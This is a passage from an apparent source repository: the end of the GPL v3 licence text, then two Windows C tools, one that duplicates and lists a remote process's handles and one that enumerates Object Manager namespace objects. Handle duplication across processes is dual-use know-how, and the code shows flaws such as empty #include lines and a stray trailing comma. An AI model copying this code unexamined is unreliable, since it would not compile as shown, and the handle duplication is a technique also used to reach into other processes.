covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: Object Manager/List Handles/main.c ================================================ /*+=================================================================== File: main.c Summary: List handles from a remote process. Classes: N/A Functions: N/A Origin: https://github.com/am0nsec/wspe/blob/master/Object%20Manager/ ## Author: Paul Laine (@am0nsec) ===================================================================+*/ #pragma once #include #include #include "ntstructs.h" #pragma comment(lib, "ntdll") /*-------------------------------------------------------------------- Function prototypes. --------------------------------------------------------------------*/ VOID WINAPI RtlInitUnicodeString( _In_ PUNICODE_STRING DestinationString, _In_ PCWSTR SourceString ); NTSTATUS WINAPI NtQueryInformationProcess( _In_ HANDLE ProcessHandle, _In_ DWORD ProcessInformationClass, _Out_ PVOID ProcessInformation, _In_ ULONG ProcessInformationLength, _Out_ PULONG ReturnLength ); NTSTATUS WINAPI NtQueryObject( _In_opt_ HANDLE Handle, _In_ DWORD ObjectInformationClass, _Out_ PVOID ObjectInformation, _In_ ULONG ObjectInformationLength, _Out_opt_ PULONG ReturnLength ); /*-------------------------------------------------------------------- Private Function --------------------------------------------------------------------*/ HRESULT GetRemoteProcessHandlesSnapshotInformation( _Out_ PPROCESS_HANDLE_SNAPSHOT_INFORMATION* ppHandleSnapshotInfo ); HRESULT GetObjNameByHandle( _In_ PHANDLE phObjHandle, _Out_ PUNICODE_STRING pObjName, _Out_ PVOID* ppHeapNameBuffer ); HRESULT GetObjTypeByHandle( _In_ PHANDLE phObjHandle, _Out_ PUNICODE_STRING pObjType, _Out_ PVOID* ppHeapTypeBuffer ); NTSTATUS GetObjBasicInformationByHandle( _In_ PHANDLE pObjHandle, _Out_ PACCESS_MASK pAccessMask, _Out_ PDWORD pdwReferenceCount ); /*-------------------------------------------------------------------- Global Variables --------------------------------------------------------------------*/ HANDLE g_hRemoteProcess = INVALID_HANDLE_VALUE; HANDLE g_hCurrentProcess = INVALID_HANDLE_VALUE; HANDLE g_hProcessHeap = INVALID_HANDLE_VALUE; DWORD g_dwRemoteProcessId = 0; INT wmain(INT argc, PWCHAR argv[]) { wprintf(L"-----------------------------------------\n"); wprintf(L" List handles from remote process\n"); wprintf(L" Copyright (C) Paul Laine (@am0nsec)\n"); wprintf(L"-----------------------------------------\n\n"); /*-------------------------------------------------------------------- Check user input. --------------------------------------------------------------------*/ if (argc == 1) { wprintf(L"[-] Usage: \n"); wprintf(L" - WindowsHandles.exe \n\n"); return 0x1; } // Initialise variables g_dwRemoteProcessId = _wtoi(argv[1]); g_hProcessHeap = GetProcessHeap(); g_hCurrentProcess = GetCurrentProcess(); // Get the an handle to the remote process with the correct permissions g_hRemoteProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE, FALSE, g_dwRemoteProcessId); if (g_hRemoteProcess == INVALID_HANDLE_VALUE) { wprintf(L"[-] Error invoking kernel32!OpenProcess (%d)\n", GetLastError()); return 0x1; } // Get list of handles PPROCESS_HANDLE_SNAPSHOT_INFORMATION pHandleSnapshotInfo = NULL; if (GetRemoteProcessHandlesSnapshotInformation(&pHandleSnapshotInfo) == STATUS_UNSUCCESSFUL) { HeapFree(g_hProcessHeap, 0, pHandleSnapshotInfo); CloseHandle(g_hRemoteProcess); return 0x1; } wprintf(L"[>] Number of handles: %d\n\n", (DWORD)pHandleSnapshotInfo->NumberOfHandles); // Loop through all the handles wprintf(L"%+-13ws %+-13ws %+-13ws %+-25ws %ws\n\n", L"Handle", L"Access Mask", L"References", L"Type", L"Name"); for (DWORD cx = 0; cx < pHandleSnapshotInfo->NumberOfHandles; cx++) { HANDLE hRemoteHandle = pHandleSnapshotInfo->Handles[cx].HandleValue; HANDLE hDuplicate = INVALID_HANDLE_VALUE; // Duplicate handle in the current process BOOL success = DuplicateHandle(g_hRemoteProcess, hRemoteHandle, g_hCurrentProcess, &hDuplicate, 0, FALSE, DUPLICATE_SAME_ACCESS); if (!success) { CloseHandle(hDuplicate); continue; } UNICODE_STRING ObjType = { 0, 0, NULL }; PVOID pHeapTypeBuffer = NULL; if (GetObjTypeByHandle(&hDuplicate, &ObjType, &pHeapTypeBuffer) == STATUS_UNSUCCESSFUL) { CloseHandle(hDuplicate); continue; } UNICODE_STRING ObjName = { 0, 0, NULL }; PVOID pHeapNameBuffer = NULL; if (GetObjNameByHandle(&hDuplicate, &ObjName, &pHeapNameBuffer) == STATUS_UNSUCCESSFUL) { CloseHandle(hDuplicate); continue; } ACCESS_MASK dwAccessMask = 0; DWORD dwReferenceCount = 0; if (GetObjBasicInformationByHandle(&hDuplicate, &dwAccessMask, &dwReferenceCount) == STATUS_UNSUCCESSFUL) { CloseHandle(hDuplicate); continue; } // Print information to console wprintf(L"0x%08llx 0x%08llx %-13d %+-25ws %ws\n", (DWORD64)hRemoteHandle, (DWORD64)dwAccessMask, dwReferenceCount, ObjType.Buffer, ObjName.Buffer); // Cleanup if (pHeapTypeBuffer != NULL) HeapFree(g_hProcessHeap, 0, pHeapTypeBuffer); if (pHeapNameBuffer != NULL) HeapFree(g_hProcessHeap, 0, pHeapNameBuffer); CloseHandle(hDuplicate); } // Cleanup HeapFree(g_hProcessHeap, 0, pHandleSnapshotInfo); CloseHandle(g_hRemoteProcess); return 0x00; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: GetRemoteProcessHandlesSnapshotInformation Summary: Get the PROCESS_HANDLE_SNAPSHOT_INFORMATION structure of a remote process. Args: PPROCESS_HANDLE_SNAPSHOT_INFORMATION* ppHandleSnapshotInfo - Pointer to pointer of a PROCESS_HANDLE_SNAPSHOT_INFORMATION structure. Returns: NTSTATUS -----------------------------------------------------------------F-F*/ NTSTATUS GetRemoteProcessHandlesSnapshotInformation(PPROCESS_HANDLE_SNAPSHOT_INFORMATION* ppHandleSnapshotInfo) { NTSTATUS dwNtStatus = STATUS_UNSUCCESSFUL; ULONG lTableSize = 0; // ProcessHandleInformation = 51 *ppHandleSnapshotInfo = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, 1024); dwNtStatus = NtQueryInformationProcess(g_hRemoteProcess, 51, *ppHandleSnapshotInfo, 1024, &lTableSize); if ((!NT_SUCCESS(dwNtStatus) && dwNtStatus != STATUS_INFO_LENGTH_MISMATCH) || lTableSize == 0) { wprintf(L"[-] Error invoking ntdll!NtQueryInformationProcess (0x%08x)\n", dwNtStatus); HeapFree(g_hProcessHeap, 0, *ppHandleSnapshotInfo); return STATUS_UNSUCCESSFUL; } // Reallocate the memory *ppHandleSnapshotInfo = HeapReAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, *ppHandleSnapshotInfo, lTableSize); dwNtStatus = NtQueryInformationProcess(g_hRemoteProcess, 51, *ppHandleSnapshotInfo, lTableSize, &lTableSize); if (!NT_SUCCESS(dwNtStatus) && dwNtStatus != STATUS_INFO_LENGTH_MISMATCH) { wprintf(L"[-] Error invoking ntdll!NtQueryInformationProcess (0x%08x)\n", dwNtStatus); HeapFree(g_hProcessHeap, 0, *ppHandleSnapshotInfo); return STATUS_UNSUCCESSFUL; } return STATUS_SUCCESS; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: GetObjNameByHandle Summary: Get the name of a named object with an handle. Args: PHANDLE pObjHandle - Pointer to the handle of the object. PUNICODE_STRING pObjName - Pointer to a UNICODE_STRING to store the name of the named object. PVOID* ppHeapNameBuffer - Pointer to pointer used to store the address of the buffer in the heap. Returns: NTSTATUS -----------------------------------------------------------------F-F*/ NTSTATUS GetObjNameByHandle(PHANDLE pObjHandle, PUNICODE_STRING pObjName, PVOID* ppHeapNameBuffer) { NTSTATUS dwNtStatus = STATUS_UNSUCCESSFUL; ULONG lNameSize = 0; dwNtStatus = NtQueryObject(*pObjHandle, 1, NULL, 0, &lNameSize); if ((!NT_SUCCESS(dwNtStatus) && dwNtStatus != STATUS_INFO_LENGTH_MISMATCH) || lNameSize == 0) { wprintf(L"[-] Error invoking ntdll!NtQueryObject (0x%08x)\n", dwNtStatus); return STATUS_UNSUCCESSFUL; } *ppHeapNameBuffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, lNameSize); dwNtStatus = NtQueryObject(*pObjHandle, 1, *ppHeapNameBuffer, lNameSize, &lNameSize); if ((!NT_SUCCESS(dwNtStatus) && dwNtStatus != STATUS_INFO_LENGTH_MISMATCH)) { wprintf(L"[-] Error invoking ntdll!NtQueryObject (0x%08x)\n", dwNtStatus); return STATUS_UNSUCCESSFUL; } *pObjName = ((POBJECT_NAME_INFORMATION)*ppHeapNameBuffer)->Name; return STATUS_SUCCESS; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: GetObjTypeByHandle Summary: Get the type of a object with an handle. Args: PHANDLE pObjHandle - Pointer to the handle of the object. PUNICODE_STRING pObjType - Pointer to a UNICODE_STRING to store the type of an object. PVOID* ppHeapTypeBuffer - Pointer to pointer used to store the address of the buffer in the heap. Returns: NTSTATUS -----------------------------------------------------------------F-F*/ NTSTATUS GetObjTypeByHandle(PHANDLE pObjHandle, PUNICODE_STRING pObjType, PVOID* ppHeapTypeBuffer) { NTSTATUS dwNtStatus = STATUS_UNSUCCESSFUL; ULONG lTypeSize = 0; dwNtStatus = NtQueryObject(*pObjHandle, 2, NULL, 0, &lTypeSize); if ((!NT_SUCCESS(dwNtStatus) && dwNtStatus != STATUS_INFO_LENGTH_MISMATCH) || lTypeSize == 0) { wprintf(L"[-] Error invoking ntdll!NtQueryObject (0x%08x)\n", dwNtStatus); return STATUS_UNSUCCESSFUL; } *ppHeapTypeBuffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, lTypeSize); dwNtStatus = NtQueryObject(*pObjHandle, 2, *ppHeapTypeBuffer, lTypeSize, &lTypeSize); if ((!NT_SUCCESS(dwNtStatus) && dwNtStatus != STATUS_INFO_LENGTH_MISMATCH)) { wprintf(L"[-] Error invoking ntdll!NtQueryObject (0x%08x)\n", dwNtStatus); return STATUS_UNSUCCESSFUL; } *pObjType = ((PPUBLIC_OBJECT_TYPE_INFORMATION)*ppHeapTypeBuffer)->TypeName; return STATUS_SUCCESS; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: GetObjBasicInformationByHandle Summary: Get the access mask and reference count of an object with an handle. Args: PHANDLE pObjHandle - Pointer to the handle of the object. PACCESS_MASK pAccessMask - Pointer to a ACCESS_MASK to store the permissions of the object. PDWORD pdwReferenceCount - Pointer to the number of references to the object. Returns: NTSTATUS -----------------------------------------------------------------F-F*/ NTSTATUS GetObjBasicInformationByHandle(PHANDLE pObjHandle, PACCESS_MASK pAccessMask, PDWORD pdwReferenceCount) { ULONG lStructureSize = sizeof(PUBLIC_OBJECT_BASIC_INFORMATION); PVOID pBuffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, lStructureSize); NTSTATUS dwNtStatus = NtQueryObject(*pObjHandle, 0, pBuffer, lStructureSize, &lStructureSize); if (!NT_SUCCESS(dwNtStatus) || lStructureSize == 0) { wprintf(L"[-] Error invoking ntdll!NtQueryObject (0x%08x)\n", dwNtStatus); HeapFree(g_hProcessHeap, 0, pBuffer); return STATUS_UNSUCCESSFUL; } PPUBLIC_OBJECT_BASIC_INFORMATION pObjectBasicInformation = (PPUBLIC_OBJECT_BASIC_INFORMATION)pBuffer; pObjectBasicInformation->HandleCount -= 1; pObjectBasicInformation->PointerCount -= 2; *pAccessMask = pObjectBasicInformation->GrantedAccess; *pdwReferenceCount = pObjectBasicInformation->HandleCount + pObjectBasicInformation->PointerCount; HeapFree(g_hProcessHeap, 0, pBuffer); return STATUS_SUCCESS; } ================================================ FILE: Object Manager/List Handles/ntstructs.h ================================================ #pragma once #include /*-------------------------------------------------------------------- Macros. --------------------------------------------------------------------*/ #ifndef NT_SUCCESS #define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode) >= 0) #endif #define STATUS_SUCCESS 0x00000000 #define STATUS_UNSUCCESSFUL 0xC0000001 #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 /*-------------------------------------------------------------------- Windows structures. --------------------------------------------------------------------*/ typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name; } OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION; typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION { ULONG Attributes; ACCESS_MASK GrantedAccess; ULONG HandleCount; ULONG PointerCount; ULONG Reserved[10]; } PUBLIC_OBJECT_BASIC_INFORMATION, * PPUBLIC_OBJECT_BASIC_INFORMATION; typedef struct _PUBLIC_OBJECT_TYPE_INFORMATION { UNICODE_STRING TypeName; ULONG Reserved[22]; } PUBLIC_OBJECT_TYPE_INFORMATION, * PPUBLIC_OBJECT_TYPE_INFORMATION; typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO { HANDLE HandleValue; ULONG_PTR HandleCount; ULONG_PTR PointerCount; ULONG GrantedAccess; ULONG ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; } PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO; typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION { ULONG_PTR NumberOfHandles; ULONG_PTR Reserved; PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1]; } PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION; ================================================ FILE: Object Manager/List Objects/main.c ================================================ /*+=================================================================== File: main.c Summary: List named objects from the Windows Object Manager namespace. Classes: N/A Functions: N/A Origin: https://github.com/am0nsec/wspe/blob/master/Windows%20Objects/List%20Objects ## Author: Paul Laine (@am0nsec) ===================================================================+*/ #pragma once #include #include #include "ntstructs.h" #pragma comment(lib, "ntdll") /*-------------------------------------------------------------------- Function prototypes. --------------------------------------------------------------------*/ VOID RtlInitUnicodeString( _In_ PUNICODE_STRING DestinationString, _In_ PCWSTR SourceString ); NTSTATUS WINAPI NtOpenDirectoryObject( _Out_ PHANDLE DirectoryHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS WINAPI NtQueryDirectoryObject( _In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength ); NTSTATUS WINAPI NtOpenSymbolicLinkObject( _Out_ PHANDLE LinkHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS WINAPI NtQuerySymbolicLinkObject( _In_ HANDLE LinkHandle, _Inout_ PUNICODE_STRING LinkTarget, _Out_opt_ PULONG ReturnedLength ); /*-------------------------------------------------------------------- Private Function --------------------------------------------------------------------*/ NTSTATUS GetObjInformation( _Out_ PUNICODE_STRING pObjName, _Out_ PUNICODE_STRING pObjType, _In_ PULONG puContext ); NTSTATUS GetObjSymbolicLinkTarget( _Out_ PUNICODE_STRING pObjSymbolicLinkTarget, _In_ PUNICODE_STRING pObjName ); /*-------------------------------------------------------------------- Global Variables --------------------------------------------------------------------*/ HANDLE g_hRootDirectory = INVALID_HANDLE_VALUE; HANDLE g_hProcessHeap = INVALID_HANDLE_VALUE; INT wmain(INT argc, PWCHAR argv[]) { wprintf(L"--------------------------------------------------------------\n"); wprintf(L" List named objects from the Windows Object Manager namespace\n"); wprintf(L" Copyright (C) Paul Laine (@am0nsec)\n"); wprintf(L"--------------------------------------------------------------\n\n"); /*-------------------------------------------------------------------- Check user input. --------------------------------------------------------------------*/ if (argc == 1) { wprintf(L"[-] Usage: \n"); wprintf(L" - WindowsObjects.exe \n"); wprintf(L"[-] Examples: \n"); wprintf(L" - WindowsObjects.exe \\ \n"); wprintf(L" - WindowsObjects.exe \\ObjectTypes \n"); wprintf(L" - WindowsObjects.exe \\Sessions\\1\\BaseNamedObjects \n\n"); return 0x1; } /*-------------------------------------------------------------------- Initialise variables. --------------------------------------------------------------------*/ NTSTATUS status = STATUS_UNSUCCESSFUL; g_hProcessHeap = GetProcessHeap(); UNICODE_STRING RootDirectory = { 0 }; RtlInitUnicodeString(&RootDirectory, argv[1]); OBJECT_ATTRIBUTES ObjAttributes; InitializeObjectAttributes(&ObjAttributes, &RootDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL,); status = NtOpenDirectoryObject(&g_hRootDirectory, DIRECTORY_QUERY | GENERIC_READ, &ObjAttributes); if (!NT_SUCCESS(status) || g_hRootDirectory == INVALID_HANDLE_VALUE) { wprintf(L"[-] Error invoking ntdll!NtOpenDirectoryObject (0x%08x)\n", (DWORD)status); return 0x1; } /*-------------------------------------------------------------------- Parse all objects from the directory. --------------------------------------------------------------------*/ ULONG uContext = 0; wprintf(L" %+-25ws %+-30ws %ws\n\n", L"Object Type", L"Symbolic Link", L"Object Name"); do { UNICODE_STRING ObjSymbolicLink = { 0, 0, NULL }; UNICODE_STRING ObjName = { 0, 0, NULL }; UNICODE_STRING ObjType = { 0, 0, NULL }; // Get name and type of the object status = GetObjInformation(&ObjName, &ObjType, &uContext); if (!NT_SUCCESS(status)) break; // Get the symbolic link target if object type is SymbolicLink if (wcscmp(ObjType.Buffer, L"SymbolicLink") == 0) { status = GetObjSymbolicLinkTarget(&ObjSymbolicLink, &ObjName); if (!NT_SUCCESS(status)) break; } // Print the information to the console wprintf(L" %+-25ws %+-30ws %ws\n", ObjType.Buffer, ObjSymbolicLink.Buffer, ObjName.Buffer); // Remove data from the heap if (ObjSymbolicLink.Length != 0) HeapFree(g_hProcessHeap, 0, ObjSymbolicLink.Buffer); } while (status != STATUS_NO_MORE_ENTRIES); wprintf(L"\n\n[>] Total named objects: %d\n\n", uContext); // Cleanup and exit if (g_hRootDirectory) CloseHandle(g_hRootDirectory); return 0x0; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: GetObjInformation Summary: Get the name and the type name of the next object in the Object Manager namespace's directory. Args: PUNICODE_STRING pObjName - Pointer to the UNICODE_STRING that stores the name. PUNICODE_STRING pObjType - Pointer to the UNICODE_STRING that stores the type. PULONG puContext - Pointer to next element to retrieve. Returns: NTSTATUS -----------------------------------------------------------------F-F*/ NTSTATUS GetObjInformation(PUNICODE_STRING pObjName, PUNICODE_STRING pObjType, PULONG puContext) { POBJECT_DIRECTORY_INFORMATION pObjInformation = NULL; NTSTATUS status = STATUS_UNSUCCESSFUL; ULONG uStructureSize = 0; // Get length of the structure status = NtQueryDirectoryObject(g_hRootDirectory, NULL, 0, TRUE, FALSE, puContext, &uStructureSize); if (status == STATUS_NO_MORE_ENTRIES) return STATUS_NO_MORE_ENTRIES; if (status != STATUS_BUFFER_TOO_SMALL || uStructureSize == 0) { wprintf(L"[-] Error invoking ntdll!NtQueryDirectoryObject (0x%08x)\n", (DWORD)status); return STATUS_UNSUCCESSFUL; } // Get the information about the object pObjInformation = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, uStructureSize); status = NtQueryDirectoryObject(g_hRootDirectory, pObjInformation, uStructureSize, TRUE, FALSE, puContext, NULL); if (!NT_SUCCESS(status)) { wprintf(L"[-] Error invoking ntdll!NtQueryDirectoryObject (0x%08x)\n", (DWORD)status); return STATUS_UNSUCCESSFUL; } *pObjName = pObjInformation->Name; *pObjType = pObjInformation->TypeName; HeapFree(g_hProcessHeap, 0, pObjInformation); return STATUS_SUCCESS; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: GetObjSymbolicLinkTarget Summary: Get the name to the object that the symbolic link target. Args: PUNICODE_STRING pObjSymbolicLinkTarget - Pointer to the UNICODE_STRING that stores the name of the target. PUNICODE_STRING pObjName - Pointer to the UNICODE_STRING that stores the naem of the symbolic link. Returns: NTSTATUS -----------------------------------------------------------------F-F*/ NTSTATUS GetObjSymbolicLinkTarget(PUNICODE_STRING pObjSymbolicLinkTarget, PUNICODE_STRING pObjName) { NTSTATUS status = STATUS_UNSUCCESSFUL; UNICODE_STRING LinkObj; RtlInitUnicodeString(&LinkObj, pObjName->Buffer); OBJECT_ATTRIBUTES SymbolicObjAttributes; InitializeObjectAttributes(&SymbolicObjAttributes, &LinkObj, OBJ_CASE_INSENSITIVE, g_hRootDirectory, NULL); HANDLE hLinkHandle = INVALID_HANDLE_VALUE; status = NtOpenSymbolicLinkObject(&hLinkHandle, GENERIC_READ, &SymbolicObjAttributes); if (!NT_SUCCESS(status) || hLinkHandle == INVALID_HANDLE_VALUE) { wprintf(L"[-] Error invoking ntdll!NtOpenSymbolicLinkObject (0x%08x)\n", (DWORD)status); return STATUS_UNSUCCESSFUL; } UNICODE_STRING SymbolicObjName = { 0, 0, NULL }; ULONG lSizeSymbolicObj = 0; status = NtQuerySymbolicLinkObject(hLinkHandle, &SymbolicObjName, &lSizeSymbolicObj); if (!NT_SUCCESS(status) && status != STATUS_BUFFER_TOO_SMALL) { wprintf(L"[-] Error invoking ntdll!NtQuerySymbolicLinkObject (0x%08x)\n", (DWORD)status); CloseHandle(hLinkHandle); return STATUS_UNSUCCESSFUL; } SymbolicObjName.Buffer = HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, lSizeSymbolicObj); SymbolicObjName.Length = lSizeSymbolicObj; SymbolicObjName.MaximumLength = (USHORT)(lSizeSymbolicObj + sizeof(WCHAR)); status = NtQuerySymbolicLinkObject(hLinkHandle, &SymbolicObjName, &lSizeSymbolicObj); if (!NT_SUCCESS(status)) { wprintf(L"[-] Error invoking ntdll!NtQuerySymbolicLinkObject (0x%08x)\n", (DWORD)status); CloseHandle(hLinkHandle); return STATUS_UNSUCCESSFUL; } *pObjSymbolicLinkTarget = SymbolicObjName; if (hLinkHandle) CloseHandle(hLinkHandle); return STATUS_SUCCESS; } ================================================ FILE: Object Manager/List Objects/ntstructs.h ================================================ #pragma once #include /*-------------------------------------------------------------------- Macros. --------------------------------------------------------------------*/ #ifndef NT_SUCCESS #define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode) >= 0) #endif #ifndef DEVICE_NOTIFY_CALLBACK 